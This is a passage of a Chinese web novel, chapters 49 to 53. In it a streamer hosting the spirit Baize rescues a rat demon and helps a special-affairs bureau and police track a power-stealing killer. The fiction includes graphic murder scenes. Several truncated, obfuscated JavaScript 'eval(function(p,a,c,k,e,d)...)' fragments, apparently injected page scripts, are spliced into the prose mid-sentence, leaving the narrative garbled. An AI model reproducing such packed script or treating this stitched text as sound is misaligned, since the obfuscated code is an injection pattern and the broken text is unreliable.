谁又能想到,体型差那么大的两个人,居然是情侣。 安随又问女人:“你们看到过一只大老鼠吗?它是我的朋友。” 女人一脸震惊地看着她:“你和老鼠做朋友?” 安随:“不可以吗?” 女人干笑:“当然可以。” “所以,你们看到我的朋友了吗?”安随又问。 女人摇了摇头:“我没见。你说的大老鼠有多大?” “站起来到我大腿了吧。”安随比划了下。 女人更震惊了,随后又想到什么,问道:“你的朋友不会是一只妖怪吧?” 这下换安随震惊了:“你们知道妖怪?难道,你们是能力者?” 这下算碰到同行了,女人见她知道妖怪和能力者,便猜到对方也是能力者,因为,普通人根本不知道这些。 女人上下打量了安随一眼,总觉得有些眼熟,却不知道在哪见过,或许是特事局新招进来的人也说不定。 女人没有在意,将安随迎进了屋。屋内还有两个人,见安随进来,警惕地看着她。 安随被这屋子里的格局整得有点不会了,谁能告诉她,这屋里怎么还有两个男人…… 察觉到气氛有点紧张,女人赶紧出来打圆场:“大家都是同类,和平共处,和平共处。” 此话一出,另外两人也明白了安随也是能力者,气氛一下子缓和下来。 女人便开始介绍:“你好,我是特事局第五作战小队的队长今越,这是我的三位队员,他们分别是孟博、肖楚、冯飞,很高兴认识你。”今越说着,便向安随伸出了手。 安随这才发现自己误会了,连忙握住了那只手,却只觉得冰凉:“我叫安随。” “安随……这个名字好像在哪听过……”一旁的孟博挠了挠头,随后他一拍脑袋,恍然大悟,“你是主播白泽?我看过你的资料。” “你是白泽?”今越惊了一下,她没想到高层让他们看的直播就来自眼前这个女孩。她看起来像刚成年,还带着学生的生涩,虽然已经渐渐凸显出气质,但还是和他们这群牛马不能比的,一看就是还未踏入社会。 但确定了安随的身份,他们也不自觉地便和她拉近了距离,毕竟看她直播,事半功倍,练习效果有目共睹。 几人相谈甚欢,不知时间为何物。 安随总觉得自己忘了什么事。 白泽在脑海里提醒:“救吱吱啊。” 安随一拍脑袋,差点忘了正事。 她再次问道:“我的朋友就在你们这里,它是只老鼠,你们帮我找一下吧。” “老鼠?”肖楚突然问道,“你说的不会是一只又肥又大的老鼠吧,被我关在小黑屋里了。我看它一直在我们门口溜达,还以为它是坏的,就把它抓起来了。” 肖楚说着,便起身去开小黑屋的门。他走了进去,将罩住吱吱的网打开,在解开束缚的一瞬间,吱吱便窜了出来,扑到安随怀里:“呜呜呜呜,老大你终于来救我了,我好害怕呜呜呜。” 吱吱说着,一把鼻涕一把泪地蹭在安随胸口的衣服上。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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两人又闲聊了会儿,又加了微信,将安随送到大路上,亲眼见她上了出租车,今越才转身离开。 路上,安随小声问吱吱住在哪里,吱吱“唧唧唧”了半天,这才让安随听清楚了它住在地方,是在一个桥底的空地上,那里还住了很多它的同伴。 这群妖怪法力低微,连人形都不能变幻,它们生性善良,不愿意麻烦别人,也不愿意在人间作恶,它们嫉恶如仇,即便自身实力很弱,也要和那群在人间作恶的妖怪斗到底。 安随在桥底,见到了那群饿得皮包骨头的各色妖怪。 它们是各类动物,有猫、狗、老鼠、鸟等等,加起来有数十只。它们在人间很常见,因此在大街上碰到了也不会引起人类的恐慌。这么一看,安随才发现吱吱的体型在它们里面算是大的,它们各个骨瘦如柴,为什么吱吱却长得那么肥大? 吱吱一提到这个,眼泪顿时流了下来:“因为,我是它们的老大,所以它们把好吃的都给我。因为我跑得快,能从人类和其他妖怪的追杀里逃脱。只有吃饱了,力量才会增强。” “你经常遭遇追杀吗?”安随听到这里,心里泛起一丝丝的心疼。 “数不清了,我是腹背受敌,都不知道被追了多少次。”吱吱叹了声气。 安随看着这群小妖,有些感叹:“你们护妖队现在这个状况,怪不得过得那么艰苦。” “不过现在好啦,人类不会追杀我们,我们只要躲避妖卫的追杀,不被它们发现就好啦。”吱吱很快又高兴了起来。 “你说的妖卫很强吗?”安随有些好奇。 49. 第 49 章 一提到妖卫,吱吱眼里露出恐惧:“很强很强,它们不分青红皂白,见着妖怪就杀,它们与人类不一样,人类不会主动去杀我们,而且他们实力不强,因此我们死在人类手里的妖很少。但妖卫不一样,他们会开启地毯式搜索,一旦发现妖怪的踪迹,便会大开杀戒,我们在它们手里根本过不了一个回合。” “那你们是怎么躲到今天的?” “起初我们的队伍很庞大,足足有数百只,如今,已经被它们杀得只剩这些了。”吱吱叹气。 曾经它是队伍里排不上号的妖,如今,就只剩这些实力不如它的小妖。 曾经它也是需要被保护的对象,如今,却成了这群小妖的主心骨。 妖卫到底有多强? 安随没接触过,不知道它们的实力,但听吱吱那么说,想来比普通的妖怪要强。 这样一群妖怪在人间,犹如一颗定时炸弹,随时都会爆炸。 安随很快给今越发了微信,让他们密切关注这一群妖怪的动向。今越告诉她,他们在这接触的妖怪力量都不强,只是数量越来越少了,或许确实有那么一群妖怪存在。 将吱吱安全送达后,安随便准备返回了,临走时又去超市给它们买了一大袋吃的,虽然不多,但也够吃两天了。 安随回宿舍,路上拿出手机一看,才发现十一点半了,直播还没掉线,不过她手机开的静音。 安随和网友们说了声便下线了,她打了个车回宿舍,等到了宿舍,室友都睡了,一看时间,又到了她修行的时候。 一天就这么结束了。 第二天太阳照常升起,又是新的一天。 时间缓缓流逝,安随在学习、修行、直播的时光中度过。中途吱吱还找过她,说它们现在日子过得比以前好了,有了通行证,它们在人界的身份得到了认可,加上本来在人界就是比较常见的动物,它们这群妖怪还被一群好心人投喂,每周都有人来给它们送吃的,久而久之,它们的毛发也看起来亮了很多。 在人前的机会多了,被妖卫追杀的时候就少了。 那群妖卫似乎并不想暴露它们的身份,没有在人前暴露过自己,以至于行踪诡秘,特事局的人蹲了几天也没蹲到它们,让他们一度怀疑吱吱说的可信度。 安随平时空了也会去特事局坐坐,这里有一群和她一样知道这个世界秘密的人,和她们聊起一些话题,不至于憋在心里难受。安随去的次数多了以后,也和他们四个人混熟了,有的时候他们出任务她还跟着去看看,也见识到了潜伏在这个城市的各种妖怪。 经过几个月的东躲西藏,它们似乎找到了在这个城市的生存之法,低调做事,昼伏夜出,以至于特事局的人几次扑了空。 这群妖怪,似乎变得聪明了。 但特事局的人也不是吃素的,利用高科技把那群妖怪抓了出来,作恶的妖怪就地灭杀,犯了小错的妖怪只略微惩戒,并且在它们身上做好标记,若是下次再犯,绝不轻饶。 于是,人类和妖怪保持着这种微妙的平衡,只要,妖怪不出来作妖。 这天,安随又去特事局坐了坐,感受一下他们的新科技。经过多次升级,如今他们的检测仪叫能量球,改变了造型,不再是一长条,而是一个球形,体型也变小,一只手就能握住,还能随身携带,只要被检测者触碰到它,便能测出他的能量值。 按照总局的人说的,能量值分四个区间,100以下为普通人类或者动物,100-1000是低级能量者,1000-10000是中级能量者,10000以上便是高级能量者。 能量者又分能力者和妖怪,他们物种不同,但都会对能量球有反应。能力者触碰到能量球颜色变红,妖怪触碰到会变成蓝色,这也让他们容易区分被妖怪附身的人类。 不过,这只能量球是陈默的新发明,他们刚拿到,还没试验过。 出于好奇,特事局的几人先拿自己做了试验,看看自己到底有多少能量值。 这一测不得了,孟博直接被今越的能量值搞破防了。 “为什么你有5000,而我才3000?”孟博自认自己力气还是挺大的,十个今越都不够他甩的,但是为什么他们差那么多? “因为我是队长啊。”今越毫不客气道。 一看另外两个人,一个4000,一个4500,都比他高,原来小丑竟是他自己…… 于是,孟博便把目光落在了看起来最弱小的安随身上。 “你也来试试。”孟博把能量球递到安随面前。 安随没想到吃瓜吃到自己头上,但见对方四人都挺好奇地看着她,她便也有点手痒了。 自从第一次她把检测仪搞爆了以后,她便不敢轻易尝试这玩意儿,怕又把陈默的发明搞坏了,到时候他又要破防了。 但现在这个局面,她若是不试,反而有点特立独行了。 更何况这个能量球能测到具体数值,会更直观,她其实也挺好奇的。 于是,安随伸出了跃跃欲试的手。 想象中的能力球爆开的画面没有出现,她的手放在上面,能量球的颜色在闪烁,数字也在闪烁。 颜色忽红忽蓝,最后定格成紫色。而数值也在不停变换,眼睁睁地看着它从2000开始上升,一直破了5000,随后一路攀升到达10000点便停止了。 另外四人整颗心都提了起来,见数值到了一万停下来后,才狠狠地松了口气。 真怕她继续涨下去,不然就有点打他们这几个特事局成员的脸了。 只不过,她的颜色为什么是紫色的呢? 安随开始胡说八道:“可能是出现BUG了吧,毕竟这东西才发明出来。” “有可能哦,陈默经常搞些看着很先进但没什么大用的发明,还经常出现故障。”今越开始揭陈默的短。 “我上次从陈默那得了一双机械翅膀,结果飞到半空中掉了下来,掉到田里摔了我一身泥。”孟博想起那个画面还心有余悸。 “有没有可能是你太重了?”肖楚毫不留情地揭他的底。 “喂,楚楚,我哪里重了?不过才二百斤而已。”孟博不服。 “叫我肖楚。”肖楚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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安随见状,试探性地问道:“这个事情很棘手吗?看你愁眉苦脸的。” 今越这才回过神来,冲安随笑了笑:“抱歉,我工作的时候就是这样,吓到你了吧?” 安随摇了摇头:“那倒没有。” 话一说开,今越便也打开了话匣子,和安随聊了些他们以前出任务的时候发生的趣事。 “有一次我们半夜接到一个女人的电话,说是她家进贼了,东西不见了,监控却没拍到人影,她以为有鬼,吓得赶紧打了我们的电话,让我们去她家看看。我们以为是有妖怪作祟,孟博便去了她家,结果被当成贼抓到派出所去了,后来还是派出所打电话让我们去派出所接人我们才知道。” 安随都惊了,孟博这么倒霉的吗? “孟博回来跟我们说,那个女人有精神病,整天疑神疑鬼的,幻想出家里被偷的场景,于是打了我们的电话。但是她家里人不知道她叫了人,看到孟博大半夜来敲门,又长得五大三粗凶神恶煞的,还以为是要入室抢劫的,吓得赶紧报了警。警察来把他带去问话,又多方询问才确认了他的身份,让我们来领人。” 安随一想到孟博那个体型和长相,确实容易让人误会。 两人有一搭没一搭地聊着,很快便到了事发地。事发地在一处别墅区,现场已经围起了警戒线,只有几名警察在现场。 50. 第 50 章 领头的人叫申勇,是刑警队的队长,身材健硕,个子很高,在人群中特别显眼。见到两人到来,确认了身份后才和她们说了事情的经过。 死者是一名男性,23岁,锦城人,是别墅区的住户,死状凄惨,被人生生从脑袋里挖了个洞,脑花被掏得地上涂得哪都是。据警方描述,死者流的血把地板都染红了,红白相见,看着格外刺眼,第一个进去的警察直接给吐了。 凶手手段极其残忍,且灭绝人性,警方怀疑有特殊力量介入。 最近他们办案老是遇到一些奇奇怪怪的事情,最开始他们还很疑惑,后来得到上级指令,若是遇到棘手的事情,可以请特事局的人协助调查。 特事局是今年才新成立的部门,旨在处理特殊事件,至于哪些事情属于特殊事件,全凭自己感觉,只要你觉得这个事情特殊,那么他们都可以处理。 安随一听,总觉得这手段哪里见过,很快,她便想起了曾经白泽也是这样取妖怪的妖核的。只不过他取完妖核后,妖怪的身体就消失了,而这个人类的身体还在。 这么看来,这人的手法和白泽还是有些区别的,说不定是哪路的妖怪在作祟。 但同时,安随心里还有一个疑问,那就是,人类的大脑里,也有核的存在吗? 这便涉及到她的知识盲区了。 如果真是这样,那这个世界岂不乱套了? 安随狠狠地将这个想法从脑中甩去。现在并不是想这些的时候,当务之急,是要把这起案件破了,只要破了,那一切都有了答案。 安随没有说话,看着今越蹲下身,将手覆在了死者手上。 只见她缓缓闭上眼,过了几分钟后才睁开。 “死者是在睡梦中被人挖掉了大脑。”今越沉声道。 “能看出是谁吗?”申勇问道。 “他没有见过凶手的模样,我便看不到。” “不过,死者是名能力者。”今越指了指死者手腕上戴的金属圈,说出了自己的发现,“他手上戴的是特事局发给能力者专有的手环,绑定了身份信息,只有能力者本人能用,转赠给别人无效,他是特事局登记在册的能力者。”今越沉痛地说出了这个事实。 今越将死者的信息传回办事处,让留在办事处的同事帮忙查询,果然查到了死者记录的信息。 李叶,男,23岁,特殊能力为静止,能将一米范围内的物体静止两秒,是特事局极力想要拉拢的人才,只可惜对方并不缺钱,也不想工作,因此只得作罢,只是可惜了他的能力。 今越在看到他的能力时,便想起他是谁了。她之前还代表特事局上门招揽过,但李叶是个宅男,喜欢宅在家里打游戏,不喜欢出门,他父母都去世了,给他留下大额遗产,他这辈子都花不完,还有这一栋别墅,他什么都不用干便能躺平一辈子。 据他在网上发帖讲述,他有一次下楼扔垃圾,看到一块玻璃从天上掉了下来,刚好落到他头上方,那一瞬间,他只觉得大脑充血,脚步移动不了半分。他死死地盯着那块玻璃,却神奇地发现那玻璃居然静止在了半空,而他很快回过神来,离开了玻璃落下的地方,两秒钟后,玻璃应声落地,摔得粉碎。自此他便觉醒了静止能力。 只是他说的这些网友并不相信,甚至怀疑他得了癔症。他能保证他并不是得了癔症,因为后来有一次,他出去散步的时候被一只流浪狗追,时间再次静止,流浪狗在扑向他的瞬间,静止在空中,而他得以逃脱。几次之后,他便发现自己得了了不得的能力,因此发在网上炫耀,却被网友嘲笑。 虽然网友不相信,但是特事局的人却是相信的。他们能招到那么多人才,除了主动找上门的,便是他们在网上发掘的。 特事局的人惜才,第一时间派今越上门拜访,李叶却对加入特事局不感兴趣,他又不缺钱,何必去那受那个罪? 今越见对方没那个心,也不再勉强,只是把手环给了他。但李叶却把特事局的人找他的事发到了网上,甚至还艾特了特事局的官博。起初网友们还信以为真,但看到特事局几十个粉丝连个蓝V都没有的时候,顿时嘲笑李叶遇到了骗子。 李叶恼羞成怒,在私信里对特事局的官博疯狂输出,把皮下的小姑娘都骂哭了。 这事传到了今越耳朵里,今越对他自然没什么好印象,加上她平日里公务繁忙,久而久之,自然就把这事抛到了脑后。而这里的别墅有很多很多,长得都一样,因此今越才一时没想起来她曾经来过这里。 当今越讲完李叶的这些过往时,众人一时沉默,不知道该说些什么。 死者为大。 当务之急便是他们要找到凶手。 安随是头一次看到今越使用她的能力,对她的能力也有了直观的感受。今越的能力和白泽的有点像,和人接触,能回溯他之前的一些事。但她的回溯时间有限,只能回溯到他看到的前十分钟的事情。 白泽却不一样,他能看到的东西更多,时间也更长远。 安随这才发现,白泽的能力,比她想象得还要多,简直是个全能选手。 一想到这,安随便把白泽唤了出来:“白泽,你能看到凶手是谁吗?” “……可以。” 安随将身体交给了白泽,便见白泽问警方要了只手套戴在右手上,随后不顾众人的惊呼,将手放在死者被掏开的脑袋上,他缓缓闭上眼,随后脑海里闪过一幕幕画面,最后在一张人脸上定格。 “我看到了。”白泽说道。 “你看到什么了?”申勇问。 “凶手的脸,以及他是怎么把李叶的脑袋破开的。他是硬生生从头顶上方破开了李叶的脑袋,还在里面搅了搅,李叶死前没有感受到任何痛苦,因为他是一瞬间死去的。”白泽平静地说道。 “呕——”有胆子小的人听到他的描述,便忍不住干呕起来。 太残忍了。 他们从业那么多年,从来没遇到过这么惨无人道的凶手,已经超出了人类的范畴。 “凶手长什么样?能描述出来吗?我们让画像师画。”申勇问。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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申勇也有些不确定了,他不是第一次和特事局的人打交道,知道他们的能力,但这么大的案子还是头一次。 不过,既然请了,那便要保持信任。 申勇返回别墅,准备和安随他们说下情况,在得知没搜到人时,安随都有点心虚,但一想到白泽,想来他不会骗人。 于是她便把搜捕的结果和白泽说了白泽却笃定那人就在那栋别墅里,或许他们没有搜完。 安随转达了白泽的意思,申勇闻言扭头便又去了那栋别墅。 半个小时后,搜索终于有了进展,他们无意中碰到一个开关,随后开启了地下室的门,地下室不大,却五脏俱全,正中央甚至摆着一张手术台,手术台上还有一具被掏空了肚子的尸体,血还很鲜艳,显然是刚破开不久。 这一幕的冲击太大了。 进去的几人怔在原地,一瞬间忘记了动作,随后愤怒的握紧了拳头。 一定要将凶手绳之以法! 这是他们此刻唯一的念头。 51. 第 51 章 唯一的女警瞬间红了眼眶,声音哽咽:“到底是什么人,能下此毒手……” 申勇沉声道:“或许,他已经不是人了。” 几人在现场侦查,找到了一些可疑的信息保存好,等安随几人过来再一起讨论。 安随几人得到消息赶了过来,虽然已经从电话里了解到这边的状况,但当亲眼看到这一切,还是被震住了。 安随只从刘仕诚的口中听到过那些被妖怪杀掉的人惨状,并没有亲眼见过。 如今,接连见到两次比那还凄惨的画面,安随差点压抑不住胸腔里喷薄欲出的怒火,但她到底是忍住了。 今越将手附在死者手上,缓缓闭上眼。 当她再次睁开眼时,心里已有了决断。 “凶手和死者认识,而且关系很亲密。” 这一重要线索,无疑给案子注入了新希望。申勇让人查了死者的关系网,很快便查到了可疑的人。 应长生,35岁,无业,江市人,入锦十年。 他与死者在这处别墅同居三年,别墅是死者的,而他全靠死者养着。 但这似乎和白泽描述得不一样。 安随有些疑惑:“这人的年龄似乎并不符合,确定没有其他可疑人员了吗?” 申勇:“我让人再查。” 安随再次求助白泽,只可惜白泽这次却没有了回应,安随只得作罢。 她迫切地想要找到凶手,不能让他继续为祸人间了。 白泽此时帮不上忙,安随只能自己想办法。 她经过这段时间的修行,五感更加强烈,视力也更好了。 她在死者的皮肤里,看到了一个特殊的图案,那图案很奇怪,她从未见过。 只是,那图案为什么会印在死者的皮肤里? 安随出了地下室,回到一楼。 一楼的客厅很空旷,走路都能听到脚步的回声。 这里说不定也有那个图案的痕迹。 安随本想去查探,去二楼侦查的警察带着一个透明袋子下来了。 透明袋里装着的,赫然便是那图案的实体。 安随连忙问道:“这东西你在哪找到的?” “死者的房间里。” 这么说,那图案很有可能已经陪伴死者许久了。 安随问了死者的房间,便准备上楼。今越见状,连忙问道:“是发现什么了吗?你能回溯她的过去吗?” 安随摇了摇头:“我的能力时有时无,不稳定,你不是看到了?” “我只能看到她闭上眼前看到的最后一个人,和你刚才说的差不多,但我不确定那人是不是应长生,我在特事局的能力者信息库里找不到这个人,警方也查不到,这个身份是他捏造的。” “这么说他就更可疑了。” 两人跟着去了死者的房间,环顾了下四周,没有看到异样的地方,安随走到窗台,从里向外看,刚好看到外面是后院的草坪,只不过草已经被扒得东一块西一块,看着很不规整。 “这别墅那么大,打理起来也累。”今越感叹道。 安随没有说话,目光望向远方,随后眯起了眼。 今越顺着她的方向望去,却并没有发现什么。 “你看到什么了?”今越问。 “有人在拿望远镜朝我们这边看。”安随耳朵动了动,集中心神听那个方向的动静。 “一群蠢货,你们能找到我算你们赢。”安随突然说道。 今越:“???” 今越一脸惊恐地看着安随,下意识地退后了几步。 安随收回心神,却见今越离她比先前更远了,在她往前走时还往后退了两步,双手下意识地握紧。 安随这才发现对方误会了,连忙道:“我刚才看到凶手了,还听到他说话了,我只是在重复他的话而已。” 今越这下更惊恐了。 她为什么什么也看不到?什么也听不到?在安随面前,她甚至怀疑自己是不是眼瞎了耳聋了。 一个人,是怎么拥有那么多能力的? 她似乎记得,安随之前还因为救消防员的事上了热搜?之前是因为力量,如今她又见识到了回溯、千里眼和顺风耳。还有什么能力是她没展示出来的? 安随继续说道:“我的听力和视力比普通人好一点。” 是好亿点吧? 今越一脸生无可恋:“你别解释了。” 见今越一副颇受打击的样子,安随只得安慰道:“我的能力时有时无,不像你们那么稳定,我还烦恼呢。” 谢谢,没有安慰到一点,她也想要这种烦恼。 锁定了凶手方向,两人下了楼和警方说明了最新的发现。申勇见安随说了对方说的地点和说过的话,看了安随一眼,当机立断道:“我安排两个身手好的人和你们一起去,这次不要兴师动众,去几个人就好。” 安随一瞬间便明白了他的想法。 先前他们那么多人大张旗鼓地去别墅搜,还封锁了别墅,结果凶手听到动静,选择杀人窜逃,让他们扑了个空,若这次还像之前那般一样,不知道又有谁会惨死在凶手手里。 申勇点了两个身上好的警察,瘦高的警察叫程风,个子矮点的叫杨宇,让他们换了便装,为了不引起凶手的怀疑,申勇需留在现场迷惑凶手的眼睛,而安随四人从另一侧门悄悄离开,往凶手所在的别墅进发。 安随一路走一路转述凶手的动静,凶手仍然在他所在的别墅二楼,望远镜放下后,竟在阳台上喝起了红酒,一副怡然自得的样子。 今越听得脸都绿了:“他连杀两个人还能安稳地坐在那里喝酒?变态吧。” “安随,他的周围还有其他人吗?” “只有他一个人。” “那就好。”今越说完便不再说话了。 一路上另外程风二人一直沉默,他们是普通人,没有特殊能力,有的只是经过千锤百炼的身体。 说不羡慕是假的,毕竟拥有特殊能力,在抓捕犯人时也会事半功倍。但这种东西可遇不可求,他们也不会勉强。 四人绕过凶手的视线,悄然到了别墅的一楼。好在有安随这个移动望远镜,他们这才能避开凶手的观察范围,从侧面到了凶手所在的别墅旁边的那栋楼。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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贺知舟沿着程风指的方向望去,随后摇摇头:“不认识,我很少住在这里。” “这几天你有听到隔壁的动静吗?” “没有,我昨天晚上拍戏到很晚才回来。” “你是演员?” “是,我叫贺知舟,这一个月都在锦城拍戏。” “你回来以后有听到动静吗?半夜回来旁边的灯光是否还亮着?” “没有,我回来的时候旁边的灯漆黑。” “半个小时以前,有听到动静吗?” “没有,我在楼上午休。” “警察同志,半个小时前,我看到旁边有人进去了。”旁边的女人突然说道。 所有人的目光望向了她。 女人继续说道:“我叫严颜,是贺哥的助理,今天贺哥休息,我便暂时在这里帮他整理剧本和接下来的行程。半个小时前,我看到有个男人提着一个袋子进去了。” 52. 第 52 章 “看清是什么袋子了吗?” “一个黑色的袋子,看着还挺沉。” “能描述一下那个男人的长相吗?” 严颜开始回想那人的长相:“没看清,但他穿着一身黑衣服,高瘦。” 这些线索和安随提供的不一样,但他换了身衣服才出来也说不定,所以并不能确定什么。 安随一直听着对面的动静,只听“吱呀”一声门响,安随站起身来:“他出门了。” 几人一听,迅速朝窗户靠近,小心掀开窗帘一角,便看到男人又换了身灰色的衣服,匆匆往大门方向走。 程风迅速道:“走。” 四人立即往门口走,走到门口时,程风又回过头来和贺知舟两人道了声谢,这才往外走去。 严颜望着四人离开的背影,问道:“贺哥,白泽怎么会和警察一起?” 贺知舟透过窗户看到他们离别墅越来越远,他们动作迅速,没有一点拖泥带水,连白泽的脚步也很快,似乎也经过专业的训练。 “不知。” 贺知舟收回目光,拿过严颜递过来的剧本,开始熟悉下一场戏。 安随四人悄然跟在男人的身后,怕人多容易引起怀疑,他们两两一组,分两条路去追男人。 安随和程风一组,两人走得很近,伪装成父女。程风都四十多了,伪装成父女更合适点。 两人沿着小区里的林荫小道走,离男人的距离不远不近,不容易被发现又不怕跟丢。 走到门口时,他看到守在门口的警察,压低了帽檐,换成正常行走的速度。 绝不能让他跑了!这是此刻他们唯一的念头。 安随二人脚步加快,程风大喊了一声:“抓住他!” 门口的警察迅速反应过来,朝男人跑去。 男人见状,一脸惊恐地看着扑向他的警察,一时竟忘了动作。 安随却觉得哪里不对劲。 他们似乎太顺利了。 这么凶残的凶手又怎么会那么容易被抓到?甚至在全小区搜捕他的时候突然跑了出来? 安随心中警铃大作,突然瞟到男人手里的有什么东西在阳光下反着光,安随厉声道:“快离开他!” 只是那个警察根本反应不过来,他的身体已经冲向了男人,而在一瞬间,男人脸上的惊恐消失了,嘴角扬起一个诡异的弧度,看着竟有些瘆人。 “噗嗤——” 划破皮肉的声音,在宁静的午后显得格外的刺耳,血水顺着匕首滴答滴答地往下滴,很快便染红了男人的皮靴。 男人咧嘴一笑,露出白冷冷的牙齿,他手上的动作不停,匕首进出几次,直到那名警察彻底倒了下去,他才作罢。 他将匕首和皮靴上的血迹擦干,而后将纸扔在了尸体上面,就这么大摇大摆地走出了别墅门。 时间在这一刻静止了,所有人对刚才发生的这一幕没有任何反应。 “哒——” 似乎有人打了个响指,所有人似解开了束缚,这才动了。 然而,他们很快被眼前的这一幕惊住了。 只见,先前还鲜活的人,此刻倒在了血泊中,胸口的衣服被鲜血染红了。 安随瞬间红了眼眶。 程风大喝一声,愤怒的吼声惊起了一片在树上栖息的小鸟。 今越二人很快赶来:“安随,怎么样?凶手……呢?” 今越怔在原地,看到那名牺牲的警察,一瞬间只觉得气血上涌,心底涌现出无边无际的愧疚。 凶手在大庭广众之下杀人,可他们却无能为力。 回溯过去,今越便发现凶手静止了时间,这也是大家都没有反应过来救人的原因。 只是,凶手静止时间的过程,甚至比李叶的时间要长,否则,他根本不可能在杀人后还有全身而退的时间。 几名警察默然地收拾着地面的血迹,牺牲的警察是被凶手用匕首捅穿了胸口而死,除此之外身上没有其他伤痕,死因显而易见。将尸体运走,现场被清理干净,这里很快便恢复了原状。 申勇默默地看着别墅的大门,只觉得挫败。 不过半天的时间,凶手便在他们眼皮子底下杀了三个人,每次去都扑了个空,凶手非常狡猾,手段极其残忍,且反侦察能力极强,又有特殊能力,这根本不是他们普通人能解决的。 今越正在打电话,让待在办事处的另外三个人过来支援。孟博却告诉她他正在赶往另外一个凶杀现场,其他二人也相继接到任务,根本无法过来支援。办事处人已经倾巢而出。 今越叹了声气,默默地挂断了电话。 安随也大致听到了通话内容,只觉得奇怪,突然之间,办事处的人都出去了,似乎是故意把他们分散开来。 安随猜想另外几处的杀人事件也是同一名凶手或者一个团伙做的,便让申勇问问另外几处事件的情况,过了会儿便得到回复,依然是手段残忍,死状凄惨。 这很有可能是一个犯罪团伙,但他们这么做的目的是什么呢?难道只是无差别杀人吗? 安随开始回想这三人的情况,李叶独居、宅男,拥有静止能力,他是第一个被杀的,后来凶手便用静止能力杀掉了一名警察,很难不怀疑他是掠夺了李叶的能力。第二名死者是个女人,与凶手同居多年,但凶手在这个小区里拥有另外一处别墅,一直隐藏得很深,而他在杀掉女人以后,便回了自己的别墅庆祝,随后又离开了小区,杀掉第三个人。第三名死者是个警察,身手很好,却被凶手的时间静止杀掉。另外三处的死者的身份分别是学生、医生和建筑工人,他们身上分别少了心脏、手、腿。 看似毫无联系,每个人都没有任何交集,但在同一时段被杀掉那么多人,且都被挖走了一样器官,疑点太多了,想说他们之间没联系是不可能的。 到底是什么联系呢? 初步猜测,凶手的能力是掠夺。 所以……凶手想从他们身上都得到什么? 如果真是这样,这里的人没有一个人是他的对手。而且对方行踪不定,现在逃到哪里去了都不知道。如果贸然再去搜查,只会引起更大的伤亡。 安随只一瞬间便下了决定。她望向今越,便见她头发被抓乱了,正拿着手机打电话,依稀听着是给特事局的人打电话,让他们派人过来增援。不过从京市飞过来也要两个半小时,从其他省调过来的话,最短也要一个小时的时间,就怕时间耽误得越久,凶手继续行凶,还会死人,而最快的方法便是让登记在册的能力者过来支援。但那些能力者只是登记,没有义务去做这种危险的事,谁又愿意冒这种风险呢? 电话那头的人最后告诉今越,调派Y省的人过来增援,也让今越联系本城的能力者前来帮忙。 今越头发都快薅秃了,锦城登记在册的能力者也没几个,而且大都能力不强,遇到这种变态的凶手无疑是去送死。 “或许,我可以。”安随突然说道。 今越闻言,薅头发的动作一顿,侧头看向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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过度消耗灵力的结果是她的感知能力增强,因此也很快锁定了凶手的位置。他正盘腿坐在一间屋子里,屋子里摆满了各种奇形怪状的道具,他的背后是一个巨大牌子,牌子的造型,赫然和她在别墅里看到的奇怪图形一模一样。 他的样子似乎是在做什么仪式,嘴里念念有词,因为念得太快,根本听不清他念的什么。 锁定了凶手的方向后,安随便快速朝那栋楼移动。她的力量比之前强了,虽然刚才灵力有所消耗,但是对力量的影响不大,速度也在加快,不过五分钟的时间,她便赶到了那栋楼的楼下。 凶手在二楼,而这栋居民楼因为时间久远,没什么人居住,居住的大多是老人。 安随观察了一下四周,小区里这里没什么人,楼上也静悄悄的,大多没在家。 安随悄悄上了二楼,深吸了一口气,随后敲响了凶手的房门。 “笃笃笃——” 门外响起了敲门声,男人没有理会,继续念着繁复的咒语。 可门外的敲门声却锲而不舍,一直未停。 这里没什么人居住,谁会来敲门? 再次被打断,男人的怒气值已经涨到了最高。 该死,就差最后一步了!不管谁在外面敲门,他都会把对方碎尸万段! 男人起身,抄起门后的钢棍就开了门,而在开门的一瞬间,钢棍便已挥了出去,但对方似乎早有预料,轻巧地躲了过去。 男人见被对方躲过,怒气横生,一棍不够,又再次挥出去,但是都被对方躲过了。 男人意识到对方也不是普通人,收回钢棍,冷冷地看着对方,在看到对方的长相时,怒气值瞬间被压了下来:“有事?” 53. 第 53 章 安随狼狈地躲过了对方的攻击,气愤地质问他:“你这人怎么回事?一上来就下死手,怎么,想杀了我啊?” “别废话,找我到底什么事?” “我是楼下新搬来的邻居,来和你打个招呼,本来想着以后相互能有个照应,不过看你那么凶,还是算了,我走了啊。”安随说着扭头就要走。 男人却冷冷地看着她:“你把我当傻子?” 安随脚步一顿,再回头时已换上一副无奈的笑:“被你发现了啊。” 男人颠了颠手里的钢棍,说话时露出一副森白的牙齿:“说吧,你来找我的目的,不说出让我满意的答案,今天你就只能留在这里了。” “我是来告诉你,你已经暴露了,警方已经下了通缉令,且有人发现你逃到了这里,他们正往这个方向赶来。” “哦?那他们还不算笨。”男人不以为然。 “你不害怕?”安随讶然。 “害怕?”男人似乎听到了什么好笑的事情,“我不认识字,不知道这两个字怎么写。” “倒是你,为什么来告诉我这些?” 